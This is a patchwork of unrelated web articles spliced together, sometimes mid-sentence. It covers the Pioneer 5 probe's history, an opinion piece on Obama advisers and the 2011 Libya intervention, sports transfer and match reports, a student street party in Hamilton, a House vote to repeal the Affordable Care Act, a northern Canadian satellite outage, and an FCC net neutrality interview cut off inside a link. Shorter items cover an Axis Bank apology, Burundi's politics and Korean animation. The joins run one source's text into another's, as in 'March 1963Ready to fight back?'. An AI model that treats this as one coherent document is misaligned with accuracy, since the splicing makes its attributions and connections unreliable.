Pioneer 5 was not instrumented to detect this plasma directly but properly equipped Soviet Luna probes and high flying American Explorer satellites had detected hints of this “solar wind” earlier when they penetrated Earth’s magnetopause and entered interplanetary space. Two days later a second big solar flare occurred and its effects were observed by Pioneer 5. Unlike the first flare, a burst of 100 MeV protons were detected by the probe’s instruments indicating that the fast-moving protons were traveling along the curved field lines inside the magnetic bottle still remaining from the first flare. The Forbush effect was explained but scientists were now beginning to get a taste of the true complexity of the interplanetary particle and fields environment.
Pioneer 5 continued returning data to Earth throughout April surpassing its 30-day design life. Tracking of the receding probe allowed its orbit to be determined which in turn yielded an independent measure of the astronomical unit or AU. Although today the AU is officially defined by the International Astronomical Union to be 149,597,870.7 kilometers, back in 1960 the AU was still a measured quantity equal to the average size of the Earth’s orbit with somewhat conflicting values based on decades of measurements made using different techniques. In order to improve the accuracy of navigating future probes to various planetary targets, a more precise value of the AU was required. Based on the Pioneer 5 tracking results, STL engineers were able to derive an AU value of 149,516,000±14,000 kilometers. Although this differs by about 80,000 kilometers from today’s defined value, it was the first step in using tracking data from interplanetary spacecraft to refine the derived value of the AU.
As the distance of Pioneer 5 from the Earth continued to increase, its radio signal weakened making it more difficult to extract usable data. By April 30, 1960 the signal had weakened so much that Pioneer 5 ceased normal operations and afterwards infrequently returned data from its instruments. On May 8, Pioneer 5 successfully performed a communication test using its 150-watt transmitter from a range of 12.3 million kilometers. Pioneer 5 made its last report back to Earth via the 76-meter dish at Jodrell Bank on June 26, 1960 from a range of 36.2 million kilometers – a communication record that would stand for two years. On August 10, Pioneer 5 reached its closest point from the Sun for the first time some 225 million kilometers from Venus – the original target when the mission was conceived about two years earlier which was now on the other side of the Sun.
By almost any measure, the Pioneer 5 mission was an outstanding success having lasted for 106 days – over three times its design life. It returned over three million bits of data during a total of 139 hours of operation. But the follow-on Pioneer probes to fly to Venus never materialized. By the summer of 1960, NASA had cancelled these probes and adopted a new plan to build much larger and more capable three-axis stabilized spacecraft to be launched on the Atlas-Centaur then under development. The first of this new series of probes, Mariner A, would be launched to Venus in the summer of 1962. It would be several years before the Pioneer-series was revived and new probes launched into interplanetary space.
Follow Drew Ex Machina on Facebook.
Related Reading
“Pioneer 1 – NASA’s First Space Mission”, Drew Ex Machina, October 11, 2016 [Post]
“Vintage Micro: The Pioneer 4 Lunar Probe”, Drew Ex Machina, August 2, 2014 [Post]
“NASA’s Forgotten Lunar Program”, Drew Ex Machina, September 27, 2015 [Post]
General References
R.L. Arnoldy, R.A. Hoffman and J.R. Winckler, “Solar Cosmic Rays and Soft Radiation Observed”, NASA Press Release 60-185, April 29, 1960
Gideon Marcus, “Earthbound Pioneer (Explorer 6)”, Quest, Vol. 19, No. 1, pp. 38-49, 2012
Joel W. Powell, “The Forgotten Mission of Pioneer 5”, Spaceflight, Vol. 47, No.5, pp. 188-191, May 2005
Robert Reeves, Superpower Space Race, Plenum Press, 1994
J.A. Simpson, C.Y. Fan and P. Meyer, “Preliminary Results from the Space Probe Pioneer V University of Chicago Experiments”, NASA Press Release 60-179, April 29, 1960
NASA Pioneer 5 press package (parts 1 to 5), March 8, 1960
“Pioneer V Progress Report”, NASA Press Release No. 60-145, March 18, 1960
“Project Thor Able-4 Final Mission Report”, STL/TR-60-V001-02092, May 25, 1960
“Results of Space Research: The Solar Wind”, STL Space Log, Vol. 3, No. 1, pp. 32-38, March 1963Ready to fight back? Sign up for Take Action Now and get three actions in your inbox every week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and get three actions in your inbox every week.
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So three or four of Obama’s advisers, all women, wanted war against Libya.
We’d like to think that women in power would somehow be less pro-war, but in the Obama administration at least it appears that the bellicosity is worst among Hillary Clinton, Susan Rice and Samantha Power. All three are liberal interventionists, and all three seem to believe that when the United States exercises military force it has some profound, moral, life-saving character to it. Far from it. Unless President Obama’s better instincts manage to reign in his warrior women—and happily, there’s a chance of that—the United States could find itself engaged in open war in Libya, and soon. The troika pushed Obama into accepting the demands of neoconservatives, such as Joe Lieberman, John McCain and The Weekly Standard‘s Bill Kristol, along with various other liberal interventionists outside the administration, such as John Kerry. The rode roughshod over the realists in the administration. Ad Policy
The press is full of reports about how Clinton, Rice and Power pushed Obama to war. The New York Times, citing insiders, reports that Obama shifted to intervention in Libya only under pressure from the trio: “The change became possible, though, only after Mrs. Clinton joined Samantha Power, a senior aide at the National Security Council, and Susan Rice, Mr. Obama’s ambassador to the United Nations, who had been pressing the case for military action, according to senior administration officials speaking only on condition of anonymity.”
Similarly, the Washington Post reports that yet another administration woman, Gayle Smith, joined Ben Rhodes and the troika of other women to push for war: “Obama’s decision to participate in military operations marks a victory for a faction of liberal interventionists within the administration, including Rice, Rhodes and National Security Council senior directors Samantha Power and Gayle Smith.” Opposed, or leaning against, were Secretary of Defense Gates, Tom Donilon, the national security adviser, and John Brennan, Obama’s counterterrorism chief.
Did the United States win legitimacy through the vote at the UN? Hardly. Five huge world powers abstained: India, Brazil, Germany, China and Russia. Using its enormous clout as the world’s last, if declining, hyperpower, the United States had to dragoon tiny little countries such as South Africa, Nigeria and Portugal to vote yes, or it couldn’t have won the nine votes it needed to pass the resolution. At one point, Susan Rice had to scurry out to find the South African ambassador, who’s apparently tried to avoid the vote. The vote almost didn’t pass, since the United States, the UK and France ended up with only ten votes in the UNSC.
Did the UNSC resolution that passed demand that Muammar Qaddafi step down? No, it didn’t. While it gave open-ended permission to the United States, the UK, France, and other powers to attack Libya (short of an invasion), it has nothing whatsoever to say about regime change. (Go ahead, read the whole text.) It calls for “the immediate establishment of a cease-fire and a complete end to violence and all attacks against, and abuses of, civilians,” demands “ a solution to the crisis which responds to the legitimate demands of the Libyan people,” and “demands that the Libyan authorities comply with their obligations under international law.” That, however, hasn’t stopped President Obama from acting like he has a mandate for regime change, and US officials are making it clear that even if Qaddafi accepts the UN’s terms, he can’t survive. And Susan Rice says that the United States is prepared to go beyond the UN resolution, by arming the anti-Qaddafi forces.
So who’s in the new “coalition of the willing”? So far, it looks like it’s the United States, the British, the French and that bastion of democracy, the United Arab Emirates. That vicious and undemocratic kleptocracy, whose troops recently invaded Bahrain to put down a democratic rebellion there, is sending its jet to participate in the attack on Libya. In a painful and delivious irony, Clinton was meeting with the UAE’s foreign minister in Paris, and here’s how the Times described her dilemma: “In a Paris hotel room on Monday night, Secretary of State Hillary Rodham Clinton found herself juggling the inconsistencies of American foreign policy in a turbulent Middle East. She criticized the foreign minister of the United Arab Emirates for sending troops to quash protests in Bahrain even as she pressed him to send planes to intervene in Libya.” Or was it really a dilemma? Qaddafi has long been a thorn in the side of the United States, so toppling him is a good thing, but the rulers of the Arab states of the Persian Gulf have long been subservient stooges, so why not keep them around?
Meanwhile, Qaddafi is making some good points. According to CNN, Qaddafi “called the UN moves ‘invalid’ because the resolution does not permit intervention in the internal affairs of other countries,” adding: "Libya is not yours. Libya is for all Libyans. You will regret it if you take a step toward intervening in our internal affairs.” And he “asked Obama what he would do if such an armed movement controlled American cities. ‘Tell me, how would you behave so I could follow your example?’” While farfetched, it’s an important point. Whatever else it is, the battle in Libya is an internal matter and a civil war. There’s no indication yet that Libyan forces are carrying out genocidal massacres, although undoubtedly the fighting is brutal and bloody. Under what provision of international law does the United States have the right to muscle the world’s nations into supporting a UN resolution giving Washington, London, Paris and Abu Dhabi the right to attack Libya?Burnley Football Club can confirm that Danny Ings has today agreed personal terms with Liverpool Football Club and, subject to a medical, will complete a move to Merseyside on July 1.
Burnley Football Club has rejected an offer made by Liverpool, but will continue to have dialogue with the club in order to reach a resolution over the fee.
Ings, who is out of contract this summer, made 130 appearances for the Clarets, scoring 43 goals in the process, as well as gaining international honours during his time in East Lancashire.
After overcoming an injury-ravaged start to his time at Turf Moor, Ings hit 21 Championship goals on the way to promotion in the 2013/14 season before going on to net 11 goals in his debut campaign in the Barclays Premier League.
Off the field, Ings also started the self-funded Danny Ings Disability Sports Project during his time with the club.
The project helps to deliver football coaching to disabled youngsters and those with learning disabilities across Burnley and surrounding areas and will continue to do so.
Burnley Football Club would like to thank Danny for his contributions for the football club and wish him well in his future career.The Kansas City Chiefs are hoping to be the ones who find the next great Canadian Football League (CFL) player. The Chiefs are hosting a soon-to-be CFL free agent this week in a workout and that player's name is Weston Dressler, a receiver.
Dressler, who won the 2008 rookie of the year in the CFL, is scheduled to be a free agent on February 15. Multiple reports have stated that he is working out with the Chiefs on Tuesday.
620 CKRM sports has learned Weston Dressler's NFL tryout is with the Kansas City Chiefs. Dressler leaves for Missouri today and will work out with coach Andy Reid's Chiefs on Tuesday.
Dressler's contract with the Roughriders is due to expire on February 15 at which time he's free to sign with any pro team. The University of North Dakota product has spent the past six seasons in Saskatchewan where he's had five, one-thousand yard seasons and been named CFL All-Canadian twice. He's also a five-time division All-Star.
KC Chiefs offer tryout to CFL AllStar REC Weston Dressler of Saskatchewan. Workout is Tuesday. @AdamSchefter @ArashMadani — Rod Pedersen (@sportscage) January 13, 2014
As you can probably tell, Dressler is accomplished in the CFL. Besides being rookie of the year in 2008, he's gone over 1,000 yards in five of his six seasons and been selected an all-start on five occasions. He went to the University of North Dakota where he tore it up, setting 19 school records.
Back in December, he was asked about a future in the NFL and said back then that there were times interested.
For Dressler it sounds like something is currently in the works. "We started with those talks, hopefully by the end I'm planning on having some work-outs lined up," said Dressler. "At that point it's just waiting on the work-out." Dressler isn't allowed to speak about which NFL teams he could be working out with in the coming weeks, but he did indicate that there are a few different teams that have expressed different levels of interest. "There's a few that just seem like talks, and a few that seem very interested," he said.
Dressler, 28, is listed at 5'8 and 179 pounds. They call him a "slotback" which is a slot receiver. That position is interesting because it is one currently held by Dexter McCluster. Because DMC is a free agent, you always wonder if one of these guys signed is the one that will replace him if he leaves.
The Chiefs do have some experience with the CFL. A few years ago they brought in Cory Greenwood, a linebacker who was drafted No. 3 overall in the CFL. Greenwood chose the NFL and played for the Chiefs (special teams mostly) for three seasons before moving onto Detroit.But most were packed thickly into the middle of the street, along the sidewalks, over the front lawns and up the porch stairs.
Four or five student rental houses, by most reports, pooled together to throw this enormous bash which, according to virtually every one I talked to, was the biggest — by far — ever thrown at McMaster University, and really the first of its kind. The word went out on social media and however else word gets out these days.
There is a concentration of student rentals on the street but the housing is not exclusively so. And one non-student resident — who asked that his name not be published out of concern for student reactions — was out on his lawn, overwhelmed, trying to keep students and partiers off his property.
"They've been urinating on the walls!" he told me. He's been at the house for 25 years but he's never seen anything like Saturday.
As we talked he hollered to one student to get out of his backyard. The young man, on his cellphone, never acknowledged him, and just went on with his phone conversation, and shambled off in his own good time.
"Where are the police?!" he asked me rhetorically. He called them, as well as campus security — who, he says, told him they could do nothing as it didn't happen on university property.
Police did respond. There were two very visible horse-mounted officers, just off Dalewood where it intersects with Westwood Avenue, and earlier, someone told me (I got there around 1:30 p.m.) that cops took away alcohol from someone drinking on the street.
But, due to the sheer mass, I'm not sure there was anything anyone could have done.
The crowd seemed to be an organism unto itself, with its own implacably fun-hungry energy, its own party logic and answerable only to itself.
Having said that, I witnessed no sign of fighting or mean-spiritedness. Just differing degrees of joyful inebriation and uninhibited, indifferent stupor, which could sometimes result in what could be interpreted as disrespect.
"I feel bad, for sure," said one student, who'd seen me talking to the man chasing partiers away from his house. But the student made no effort to leave and was clearly enjoying himself. "Mac has never been like this before. Guelph (University of Guelph) is way worse."
"Good times. Good vibes," said another partier. Many, most, were wearing Mac maroon.
"You should see Laurier (University) on St. Patrick's Day. It's triple this size," another partier told me. Some wished not to be named; others unsure. But some gave me what friends later told me were wrong names so I'm using names only when I'm certain.
I caught up with the aforementioned Superman a little bit after the table incident. Now he was diving from the slope of a lawn onto a plastic lawn chair on the sidewalk, landing on his side and back with such force that the chair shattered.
His friend, bleeding quite visibly, did the same.
"What hurt the most was jumping off a roof onto a table," Superman, 20, told me. "But the only time I ever broke a bone was playing hockey." I tell him he's bleeding. "No, that's my friend's blood."
And what program is he in? "Oh, I don't go to Mac." Does he worry about injuring himself or how he'll feel tomorrow. "Nah. I eat nails for breakfast."
I managed to track down, among the throngs, one of the party organizers, an engineering student who co-rents a house on Dalewood but didn't want to be named.
"Have you ever seen Project X? That's kind of the model for it. I want as many people to have as much fun as possible. It'll probably ease up around 5 p.m. and we'll take a break."
They've got cleanup crews planned for the day after, he insisted. "That's what Sunday's for."
The street was absolutely littered with cans, debris and broken glass but no one seemed to be getting hurt.
"It's a lot of fun and I'm loving it," Leah Birkby told me. She and friends were on a side street in front of a house where one of them rents. "Everyone's wearing Mac colours. It's not an inherently bad thing. It's team spirit."
But the resident I talked to was having none of it. "I'm sending a letter to the president of the university."
The chaotic spectacle did elicit reaction from others too. One driver angrily waded through knots of dawdling partiers in the middle of the street, shouting at them to move.
And Sam Weisbrod, who was coming back with his family from a Yom Kippur Day service at a nearby synagogue, told me he's seen many student parties in the area but "I've never seen anything quite like this."
jmahoney@thespec.com
905-526-3306House Republicans on Thursday will vote -- for the 37th time -- to repeal the Affordable Care Act. With that vote, the GOP is attempting to keep its base happy while once again raising the ire of their colleagues across the aisle. Democrats, this time around, are attempting to use the continued campaign against Obamacare against Republicans.
The House last voted to fully repeal the 2010 law in July 2012, after the Supreme Court upheld its most controversial aspect, the mandate requiring all Americans to purchase insurance. House Speaker John Boehner, R-Ohio, said Wednesday that they're voting to repeal it again "because it's going to raise the price of health care, raise the cost of health insurance, reduce access to the American people and continues to get in the way of employers hiring new workers."
He added, "In addition to that, I think the American people deserve the truth and fairness from their government."
House leadership earlier said they wanted to give the newest members of its caucus, elected in November, a chance to vote on the repeal.
The vote, scheduled to take place around 5 p.m., prompted predictable outrage from Democrats.
Reid: House Republicans have "lost their minds"
"Albert Einstein defined insanity as follows: doing the same thing over and over again and expecting different results," Senate Majority Leader Harry Reid, D-Nev., said Wednesday on the Senate floor. "If his definition is true -- and I won't argue with Einstein -- then House Republicans have truly lost their minds."
House Minority Leader Nancy Pelosi, D-Calif., told reporters Wednesday that Americans want Congress to focus on creating jobs. "Instead we are wasting time once again on the Republican repeal of the patients' rights," she complained.
The White House, of course, has promised to veto the bill should it ever reach the president's desk. However, with Reid and the Democrats in control of the Senate, there's no chance the House bill will ever be considered.
The Democratic Congressional Campaign Committee (DCCC), the campaign arm of the House Democratic caucus, is convinced the voters are fed up with the GOP's continued repeal efforts. The DCCC on Wednesday started making telephone calls in the congressional districts of 10 vulnerable House Republicans, urging voters to ask their representatives to oppose the repeal bill.
"Americans are crystal clear - they want Congress to solve problems, not spark ideological battles again and again," DCCC chairman Steve Israel said.
The nonpartisan Congressional Budget Office, meanwhile, told Congress on Wednesday that it doesn't have time to provide them with anymore estimates for the cost of repealing the legislation.
"You requested that the Congressional Budget Office (CBO) provide a cost estimate for that legislation," Director Doug Elmendorf wrote in a letter to House Budget Committee Chairman Paul Ryan, R-Wis. "Unfortunately, we will not be able to do so. Preparing a new estimate of the budgetary impact of repealing the Affordable Care Act (ACA) would take considerable time--probably several weeks."
He noted that the CBO provided the estimate for Congress the last time it voted to repeal the bill -- their report concluded repealing the law would raise the deficit by $109 billion over 10 years.Oh dear. It’s not been a great conference for Seumas Milne. Jeremy Corbyn’s director of comms managed to make himself the story this week after he altered Clive Lewis’s speech on Trident at the last minute. The shadow Defence Secretary was said to be so angry over the changes that he punched a wall after the speech.
So, Mr S was curious to hear a rumour swirling around Labour conference this evening. The talk of conference is that Milne’s departure is imminent with suggestions his last day could be as soon as Friday. While sources close to Milne insist to Mr S that this is not the case, several party insiders are adamant he is on the way out within the next month. Meanwhile brains at the Guardian inform Steerpike that Milne is in discussions with the paper regarding his leave coming to an end.
No doubt if Milne does return, hacks at the Grauniad will be glad to have him back on side.SANDY, Utah – Given the role he’s been aiming for since first joining the professional ranks with Real Salt Lake five years ago, the standout season Sebastian Velasquez has put together so far in his return to Utah with Real Monarchs SLC has brought the 26-year-old attacking midfielder back into the spotlight.
With a talented cast surrounding him, a sign of the new methodology behind the Monarchs’ roster construction that was put in place late last season, Velasquez is now thriving knowing everyone at the club believes in his ability to act as the team’s playmaker.
“Coach [Mark Briggs] believes in me and believes in what I can do,” said Velasquez after Monday night’s victory against Reno 1868 FC. “He’s given me the opportunity to play the position which I have known my whole life, which is attacking mid. A lot of times when I’ve played here I’ve gotten a lot of critiques and I’ve got into a lot of arguments with people that say I never played attacking mid for RSL. So now to be here at Real Monarchs and to be put into a professional environment and play the position that I know and to get six goals and six assists, it’s incredible.”
Velasquez was at his best again in Monday night’s 2-1 victory against Reno at Rio Tinto Stadium, with his two assists helping the Monarchs set a USL record with the club’s ninth consecutive victory. Three seasons after last calling the RioT home, Velasquez’s six goals and six assists – which put him tied for the league lead through Week 13 – have been a major factor in the club’s 7-0-0 record on home turf in 2017.After earning two wins over the weekend — the first against then-No. 1 UCLA and the second an absolute demolition of CSU Bakersfield — Stanford women’s water polo (20-1, 5-0 MPSF) will face conference foe Cal in the Big Splash on Thursday evening.
Stanford regained its No. 1 ranking on Wednesday after it defeated the Bruins 8-7 on Saturday afternoon. The team previously held that top spot at the beginning of the season but fell to the No. 2 ranking when it lost to UCLA the second time the two squads faced off.
While senior Kiley Neushul and sophomore Jamie Neushul stepped up in a big way for the Cardinal with 2 goals apiece against UCLA, six players notched 2 or more goals the following day against Bakersfield. Neushul, fellow senior Ashley Grossman and junior Maggie Steffens scored 4 each, the latter two notching 3 apiece in the first quarter alone, to lead Stanford to its 15-point win. The Cardinal’s defense shined once more, allowing only 5 goals, while junior goalie Gabby Stone also had 8 saves.
Yet Cal will certainly be a tougher opponent than the Runners, and despite its huge win over UCLA, Stanford recognizes that it must not dwell on this victory and instead must prepare for the match against a talented Cal squad.
“Our mentality is always to focus on what’s next,” said Jamie Neushul. “Cal is a great team that takes full focus in preparing for, so we try to move on as quickly as possible and get ready for this specific team.”
Cal, ranked No. 4 in the country, has only lost games against Stanford, UCLA and USC, the top three teams in the nation. When Cal faced USC earlier in April, the team only lost by one despite falling to the Trojans by six in the teams’ first matchup. Thus, the Bears could have something up their sleeves in the teams’ second showdown: After all, the first time these two teams played, Stanford trailed 4-2 at halftime but notched 5 goals in the third quarter alone, eventually going on to win 7-6.
“Cal is a very tough opponent with great shooters who will capitalize on small defensive mistakes,” said Jamie Neushul. “That game was close due to the competitive atmosphere, but I think also due to great offense, energy and attack mentality on Cal’s part.”
To succeed in the Big Splash and complete MPSF regular season play undefeated, the Cardinal must continue to play strong defense in both 6-on-6 and 5-on-6 situations. Stanford held UCLA to 1-for-5 on man-up opportunities, something it will have to replicate against Cal. In addition, not only did Stanford hold Bakersfield to 5 goals on Sunday, but the team is also allowing only 4.67 goals on average per game this season. In particular, the Cardinal will have their eye on Dora Antal, who leads the Golden Bears with 55 goals in 21 games.
“We really need to fine-tune individual skills on defense,” said Jamie Neushul. “Defense is the true name of the game, and we need to make sure everyone is sharp and on the same page but also making extra effort to fill their respective defensive roles.”
Offensively, Stanford has many weapons to lead the way: In fact, eight players — led by the elder Neushul, Grossman and Steffens — have scored 20 or more goals this season for the Cardinal. Against Cal earlier this season, Neushul and Steffens led the team with 2 goals apiece; yet to build up a more comfortable lead against the Golden Bears, more players will have to contribute, and quickly, to ensure that Stanford does not once more see a halftime deficit.
Stanford women’s water polo will face the Golden Bears at Berkeley on Thursday, April 16 at 5 p.m.
Contact Alexa Philippou at aphil723 ‘at’ stanford.edu.Image: Flickr/Sebastian Kasten
Around 5 PM Eastern time on Sunday, a satellite providing internet services to most of North America went offline due to a technical glitch, the CBC reported. If you live the vast majority of communities in southern Canada or the US, you probably didn't notice.
But in some parts of Canada's sparsely populated North, losing just one satellite means giving up basic services like access to ATMs or a flight out of town.
In other words, life went offline before the satellite's function was restored on Monday afternoon.
The satellite in question was Ottawa-based Telesat's Anik F2, which first went online in 2004 and has a coverage area spanning Canada's northernmost tip down to the southern US. Most places in North America don't totally depend on Anik F2 for an internet connection, and have landlines as well as other satellites—even some of Telesat's—to fall back on if one piece of equipment goes offline.
Read More: The Arctic's Internet Is So Expensive That People Mail the Web on USB Drives
But Canada's northern communities are desperately lacking in internet infrastructure, a situation that Prime Minister Justin Trudeau has pledged to remedy. Some places depend on Anik F2's connection for everything. There is no backup.
"There's less redundancy up there in the North, and there's a bigger impact," said John Flaherty, vice president of business planning for Telesat.
"If you were in Southern Ontario and on DSL, and your internet went down, your phone line would still work because it's on a different provider. Up north, in some communities, the only access is through Anik F2. But in others, they also get service through Anik F3, and so there was no issue."
"The satellite provided service for telephony, and for commercial enterprises like bank machines. Airports use it for their air traffic control"
In this most recent outage, in places that totally depend on Anik F2, any service that relied on a connection through the satellite was down. (Telesat couldn't say for sure exactly how many communities were affected by the outage, or the number of people.)
"The satellite provided service for telephony, and for commercial enterprises like bank machines," said Flaherty. "Airports use it for their air traffic control, and any of those services would have been down." Some Twitter users also reported stores being cash-only as payment services apparently went offline.
The outsized effects of a single satellite briefly going offline in the North highlights just how fragile and sparse internet infrastructure is in the region.
Politicians have promised for years to close what critics describe as Canada's "digital divide." Most recently, Trudeau told VICE during a documentary shoot at First Nations community Shoal Lake 40 that closing the digital divide is a priority, and the Liberal government "starting to work right now on it."
But as the fallout from Anik F2's technical problems demonstrate, there's still much to be done on that front.
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If the U.S. Federal Communications Commission repeals its net neutrality laws, corporations will have unprecedented power to control what Americans see and do online, warns Jessica Rosenworcel.
Rosenworcel is one of two Democrats on the five-person commission, which will vote on Dec. 14 on whether to rescind a landmark 2015 order that barred internet service providers from blocking or slowing down consumer access to web content.
FCC chief Ajit Pai, a Republican appointed by President Donald Trump, says the move would allow "companies of all kinds in every sector compete and let consumers decide who wins and loses."
But Rosenworcel told As It Happens host Carol Off that killing net neutrality will crush freedom and competition, not foster it. Here's part of that conversation.
Why should people care?
We have this dynamic engine of civic and commercial opportunity that we all tap into every day in all sort of ways and it is built on a foundation of openness. That openness is what net neutrality is all about. And if we decided to tear at that openness and change our policies, we're going to change the internet as we know and experience it today.
FCC chair Ajit Pai says net neutrality laws are 'heavy handed' and stifle competition. (Pablo Martinez Monsivais/Associated Press)
What will change if net neutrality regulations are changed in this way?
Right now you can go where you want and do what you want online without your broadband provider telling you, "Yes, you can go to this site. No, you can't go to this one."
And that's important. It puts you in control. Your broadband provider doesn't have the right to choose which voices to amplify, which ones to censor online and which connections you can and cannot make.
But if we change our network neutrality policies, we are giving broadband providers the green light to carve the internet into slow and fast lanes, to choose which voices to feature and to choose what content you can reach when you go online every day.
Can you give us any concrete examples?
Right now our policies prevent the blocking of sites online. In other words, your broadband provider can't decide to block some sites online because perhaps that company doesn't have a commercial relationship with them. And if these new policies go in place, our broadband providers will be able to block online activity and online sites.
But to what end? Why would they want to do that?
I think that they would want to see if they could earn income not just from you as a consumer when you pay for your broadband subscription, but I think that they'd also like to set up the opportunity for revenue from sites and activities online and see if they can get paid in both directions. And then they'll slow the service of those that don't choose to pay up.
I'm going to give it all I've got.<br><br>Our Internet economy is the envy of the world. It was built on a foundation of openness. <br><br>We're going to have to fight to keep it that way--for all of us.<br><br>Make noise. Make change. Let's save <a href="https:// |
sentence hearing in May to consider not imposing a custodial sentence, saying she cared for her grandchildren, who wee aged four and six, “as a mother would”.
Judge O'Connor noted, at that hearing that the offence was “premeditated” and of some duration.
Online Editors"Embarrassed and upset" over the conduct of a handful of employees bringing the organisation into disrepute, Axis Bank MD and CEO Shikha Sharma on Sunday (18 December) said the bank has hired KPMG to conduct a forensic audit for enhanced due diligence and building more safeguards.
Assuring that the fundamentals of the bank is on a "solid footing', Sharma said in a letter to Axis Bank customers that the bank is tracking sudden surge in account activity and have 'proactively identified potentially suspicious accounts".
"The recent media reports around the conduct of a few of our employees have left me embarrassed and upset. We have fallen short of your expectations because a handful of people did not follow our fully compliant and robust processes. We have taken the toughest action against such employees and we will do so in every case of divergence from our Code of Conduct.
"I regret that the misdeeds of a few people have eroded the hard work of 55,000+ employees, who have been at the front end beyond working hours, displaying extraordinary patience and commitment to their responsibilities," she said in the letter.
The Income Tax Department had last week conducted a raid at an Axis Bank branch in Noida and unearthed Rs 60 crore from the accounts of 20 shell companies.
Sharma said the bank has proactively identified suspicious accounts and has given inputs to regulatory authorities for further investigation.
"I would like to reassure you that the bank has always been committed to the highest standards of operational control and continues to fully cooperate with the authorities. We have been tracking sudden surges in account activity and have proactively identified potentially suspicious accounts.
"This proactive identification has been one of the inputs in investigation by the regulatory authorities, who are visiting some of our branches to seek out information.
Further, we have hired KPMG to conduct a forensic audit for enhanced due diligence and building more safeguards," she said.
Thanking customers for the support and understanding since the demonetisation initiative, Sharma said it has been a challenging time and the bank has tried its "level best" to make it easier for customers.
"We have made every effort to ease the transition by making special arrangements for senior citizens and differently abled people at our branches, using micro-ATMs to deliver cash to BSF personnel, ensuring salary disbursement to government and corporate employees across the length and breadth of our country," Sharma wrote.
"I assure you that the fundamentals of the bank, built painstakingly over the last 22 years, focused on serving its retail and corporate customers are on a solid footing... We will always safeguard your interests because your trust matters the most. I look forward to your continued confidence in making us a safe, strong bank that is always focused on you," she said in the letter.
(PTI)Image copyright Rex Features
Burundi's football-loving president is rumoured to be standing for a controversial third term, despite the two-term limit in the current constitution. It's one factor contributing to mounting tensions in the nation, where it now seems a morning jog could result in life imprisonment.
The drive out of Bujumbura last Saturday provided an image that will stay with me for a long time yet.
It was just after dawn, and we were climbing away from Lake Tanganyika, towards the high plateau of the interior. The escarpment wound on and on. From time to time, on my left, the curtain of banana trees and acacias would swing open, and the hills and valleys would spill away from us, towards a horizon of forest.
But it was the view to my right that entranced me.
Tucked between the narrow road and the side of the hill, the people of Bujumbura were running. Up, and up. A great, long line of them.
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Some were in clusters - others, in their private reveries. Most were young men. But I also saw a man and a woman - of late middle age and generous girth - running together and holding hands.
The tradition of Saturday morning runs started during Burundi's long years of ethnic conflict. The last spasm of war only ended back in 2005, with 300,000 dead from the population of eight million. Then, no-one jogged up these hills.
This was where the militias - now the men of government - would hide.
So it was in the city of Bujumbura itself that people would try to vent their fear and frustration and claustrophobia, by running, often in a group.
But on this Saturday morning I was taken aback to see some young men, running together, as a group. It was a surprise, because back in March, the country's president, Pierre Nkurunziza had decreed that such a practice was to be banned.
He feared it was being used as a cover for subversion.
Image copyright AFP
Indeed, some people are now spending a very long time in prison in part, at least, because of their group jogging. They're members of the opposition Movement for Solidarity and Democracy (MSD) Party - sentenced to jail terms ranging from five years to life.
A screaming cavalcade of security careered up the road - first the police then a dozen armed men
The 49-year-old president, for his part, remains an enthusiastic consumer of team games - football in particular.
He has his own side, Hallelujah FC, for whom, according to government leaflets, he plays as a striker and often scores goals.
I'd already been made aware of the president's penchant for a kick-about as I drove, with my colleagues, back from an interview in town.
Suddenly, a policeman and a soldier started waving their hands at us to get off the street - a frantic, wringing motion, as if they'd trapped their hands in a dog's mouth.
Image copyright Getty Images
Moments later a screaming cavalcade of security careered up the road. First the police - a dozen armed men in blue camouflage arrayed in the back of the pickup. Then the army - a dozen men in green camouflage with rifles, another soldier gripping an enormous mounted machine gun. Then a herd of four-by-fours with tinted windows. Then more army and police.
Image copyright (C) British Broadcasting Corporation
I asked the local journalist I was with where the president was coming from.
"His afternoon football game," he answered.
On this Saturday, I was trying to visit another of the places where the president likes to play.
A stadium which he's had built by his home village, in the north-east of the country.
Some hours out of Bujumbura, we rounded a corner, and stumbled across a complex straight from a Mediterranean resort, an arena of magisterial size and scope.
Sadly, the guards would not let us in to the stadium, despite the laissez-passer we showed them, issued by the president's own office.
While we chatted with the soldiers, a stream of boys hauled themselves past us, up the steep road. They were dressed in rags, their heads bowed under fat bundles of sugar cane.
I'd guess they were seven or eight years old. But they may have been older.
Burundi comes second in the world only to Afghanistan in stunting, the main symptom of chronic child malnutrition. This, in a place which, as we'd seen on our drive across the country, is fertile enough to be self-sufficient in food.
But it is also a land sucked dry by corruption. Burundi bumps along the bottom of all the major global indices of corruption.
As we drove back to Bujumbura, time and again we were stopped by policemen, languidly waving us down, before seeing our display of cameras and microphones, and deciding maybe we didn't have too many questions to answer.
Halfway down our final, winding descent towards Bujumbura, the sun about to sink into Lake Tanganyika, we drove past a lone jogger, running up the hill.
He was a grey bearded man, in a long-trousered tracksuit, his eyes locked forward, his hands shadow-boxing.
How to listen to From Our Own Correspondent:
BBC Radio 4: Saturdays at 11:30 and some Thursdays at 11:00
Listen online or download the podcast.
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Subscribe to the BBC News Magazine's email newsletter to get articles sent to your inbox.Korean animation, or aeni (; Korean: 애니), has become an industry that produces characters for other countries' companies, exports its creations globally and generates billions of dollars in profits.
Korean animation Hangul 애니 Revised Romanization aeni McCune–Reischauer aeni
Etymology [ edit ]
The word aeni comes from the English word "animation" as written in Hangeul, 애니메이션 (aenimeisyeon), similar to Japanese アニメーション (animēshon). Just like anime, aenimeisyeon was shorten to aeni and is the term generally used to refer to Korean animation both in Korea and outside of the country.
History [ edit ]
The Korean animation industry was in a period of crisis throughout the 2000s. Depression at the reality of being an industry that the West merely gave factory-type drawing to began to sink in. This followed the 1990s, a period of explosive growth for the industry when Korean studios made most of their profits from OEM, mostly from the United States.[citation needed]
In many ways, 2011 was a bright transitional year for Korean animation, with home-produced animated feature films finally finding box office success in South Korea, instead of facing the usual financial failure. As far as overseas export market is concerned, the likes of Rough Draft Korea (RDK) kept on landing new contracts, which have seen Rough Draft perform the manual work on over 45 popular Western cartoon titles over 16 years.[1]
Korean animation has boomed in popularity in Eastern Asia with the success of the series Pororo the Little Penguin and Origami Warriors in 2011, leaving fans wanting to discover more Korean animations. This success is due in part to perfecting the Korean animation technique, and financial returns being reinvested into new animated products.[citation needed]
Some Korean animators still blame the booming Korean game industry for draining the animation industry's talent pool, but the box office success of the Korean animated film Leafie[2] in 2011 in South Korea is inspiring a new generation.[citation needed]
Animation industry [ edit ]
